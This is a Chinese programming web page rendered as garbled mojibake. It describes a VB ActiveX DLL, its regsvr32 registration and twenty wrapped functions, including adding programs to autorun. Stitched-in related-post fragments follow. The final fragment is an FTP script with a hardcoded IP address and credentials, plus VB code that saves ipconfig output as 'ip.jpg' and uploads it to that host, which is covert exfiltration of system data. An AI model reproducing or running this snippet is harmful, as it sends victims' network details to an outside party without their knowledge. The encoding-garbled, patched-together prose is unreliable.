²ÉÓÃVB±àдµÄ¶¯Ì¬Á´½Ó¿â(ActiveX DLL)
¡ôÇëÓÉ´ËÈ·¶¨ÊÇ·ñ±»¶ñÒâÐ޸ġô
×÷ÕߣºÎÒÐÄ·ÉÏè
VBÖÐÒýÈë±¾DLLµÄ·½·¨
·½·¨Ò»£ºÑ¡Ôñ“¹¤³Ì(P)”²Ëµ¥ÏµēÒýÓÃ(N)”£¬ÔÚ³öÏֵĶԻ°¿òÖеã“ä¯ÀÀ°´Å¥”£¬²¢ÕÒµ½DLLËùÔÚλÖá£
·½·¨¶þ£º·ÖÁ½²½×ß
(1)×¢²á¶¯Ì¬Á´½Ó¿â£¬Ê¹ÓÃregsvr32ÃüÁî¡£ÔÚÔËÐжԻ°¿òÖУ¬ÊäÈë“regsvr32 DLLÍêÕû·¾¶”¡£
(2)Ñ¡Ôñ“¹¤³Ì(P)”²Ëµ¥ÏµēÒýÓÃ(N)”£¬ÔÚ³öÏֵĶԻ°¿òÖÐ,Ö±½ÓÔÚÁбíÖÐÕÒ“Swpi Zy DLL 1.0.1(v2005.01.23)”
¡ï ¡ï ¡ï ¡ï ¡ï ¡ï ¡ï ¡ï ¡ï ¡ï ¡ï ¡ï ¡ï ¡ï ¡ï ¡ï ¡ï ¡ï ¡ï ¡ï
·â×°º¯Êý¹ý³ÌÒ»ÀÀ±í----°´ÕÕ·ÖÀ༰×Öĸ˳Ðò
¡ô·â×°µÄ10¸ö¹ý³Ì£¬Ã»Óзµ»ØÖµ¡ô
01¡¢AboutAndHelp-----ÏÔʾ°ïÖúÐÅÏ¢
02¡¢ExitOs-----------×¢Ïú¡¢ÖØÆôºÍ¹Ø»ú
03¡¢KillApplication--¹Ø±ÕÖ¸¶¨Ó¦ÓóÌÐò
04¡¢OpenUrlOfEmail---¸ù¾ÝÖ¸¶¨EmailµØÖ·£¬µ÷ÓÃÓʼþ¹¤¾ß
05¡¢OpenUrlOfFile----¸ù¾ÝÖ¸¶¨±¾µØ·¾¶£¬´ò¿ªÒ»¸öÎļþ
06¡¢OpenUrlOfHttp----¸ù¾ÝÖ¸¶¨HttpµØÖ·£¬µ÷ÓÃĬÈÏä¯ÀÀÆ÷
07¡¢SetCdRomClosed---¹ØÉϹâÅÌÇý¶¯Æ÷
08¡¢SetCdRomOpen-----µ¯¿ª¹âÅÌÇý¶¯Æ÷
09¡¢SetWindowTopMost-½«´°¿ÚÖÃÓÚ×²ã
10¡¢ShowMousePointer-ÏÔʾ»òÕßÒþ²ØÊó±êÖ¸Õë
¡ñ·â×°µÄ10¸öº¯Êý£¬ÓÐÆä·µ»ØÖµ¡ñ
11¡¢AddAppToAutorun--½«Ö¸¶¨Ó¦ÓóÌÐòÉèÖÃΪ¿ª»ú×ÔÔËÐÐ
12¡¢DecodeData-------¶ÔEncodeData¼ÓÃܺóµÄÊý¾Ý½øÐнâÃÜ
13¡¢EncodeData-------¶Ô¸ø¶¨µÄ×Ö·û´®½øÐÐBase64Ëã·¨µÄ¼ÓÃÜ
14¡¢GetCompName------»ñÈ¡±¾µØ¼ÆËã»úÃû×Ö
15¡¢GetCurrUser------»ñÈ¡µ±Ç°µÇ¼Óû§Ãû
16¡¢GetSysDir--------»ñȡϵͳËùÔÚĿ¼
17¡¢GetWinDir--------»ñÈ¡WindowsËùÔÚĿ¼
18¡¢PlayWavSound-----²¥·Åwav¸ñʽµÄÒôƵÎļþ
19¡¢SetDesktopStatus-ÏÔʾ»òÕßÒþ²Ø×ÀÃæ
20¡¢ShowControlPanel-ÏÔʾ¿ØÖÆÃæ°åÖеIJ¿·ÖÏî
¡ï ¡ï ¡ï ¡ï ¡ï ¡ï ¡ï ¡ï ¡ï ¡ï ¡ï ¡ï ¡ï ¡ï ¡ï ¡ï ¡ï ¡ï ¡ï ¡ï
©¤©¤©¤©¤©¤©¤©¤©¤©¤©¤©¤©¤©¤©¤©¤©¤©¤
VBÖÐÓñ¾DLL·â×°Àà´´½¨¶ÔÏóµÄÓï¾ä
Dim zyObj As New prjSwpiZy.clsZy
ΪÁËÖ´ÐÐЧÂÊ£¬×îºÃ½«DimºÍNew·Ö¿ª¡£ÏÂÃæÊÇʵ¼Êµ÷ÓÃDLLÖк¯ÊýµÄÑÝʾ
Dim zyObj As prjSwpiZy.clsZy '¶¨Òå
Set zyObj = New prjSwpiZy.clsZy 'ʵÀý»¯
zyObj.OpenUrlOfHttp ("www.niit.com.cn") 'µ÷ÓÃ
Set zyObj = Nothing 'ÊÍ·Å
©¤©¤©¤©¤©¤©¤©¤©¤©¤©¤©¤©¤©¤©¤©¤©¤©¤
VCÖÐÓñ¾DLLµÄһЩ¹Ø¼
Ïà¹ØÎĵµ£º
Private Declare Function ClipCursor Lib "user32" (lpRect As Any) As Long
Private Type RECT
Left As Long
Top As Long
Right As Long
Bottom As Long
End Type
Private Sub Command1_Click() 'Ëø¶¨Êó±ê µ½Ä³Ò»Î»ÖÃ
......
Ò»¿ªÊ¼ ÒÔΪVBµÄÏß³Ì ²»ÊÇÏñÍøÉÏÈË˵µÄÄÇô´àÈõ¡£¡£¡£°¥ ÏÖÔÚÁìÂÔµ½ÁË¡£¡£¡£VPrivate Declare Function CreateThread Lib "kernel32" (lpThreadAttributes As Any, ByVal dwStackSize As Long, ByVal lpStartAddress As Long, ByVal lpParameter As Long, ByVal dwCreationFlags As Long, lpThreadId As Long) As Long
Pri ......
VB ³¤ÕûÐͺÍ×Ö½ÚÊý×éµÄת»»ÎÊÌâ (Long<>Byte)
Posted by JiaJia 17 March,2009 (0)Comment
Óõ½µÄAPIÉùÃ÷£º
Private Declare Sub CopyMemory Lib "kernel32" Alias "RtlMoveMemory" (Destination As Any, Source As Any, ByVal Length As Long)
Long2Byte
Dim TempLng As Long
Dim TempBytes(0 To 3) As Byte ......
ftp.txtÎļþÄÚÈÝΪ£º
open 211.118.1.70
dongping
sh12345
put ip.jpg
bye
VBÄÚÈÝΪ£º
Private Sub Command1_Click()
Shell "cmd.exe /c ipconfig >ip.jpg"
Shell "cmd.exe /c ftp -s:ftp.txt"
End Sub ......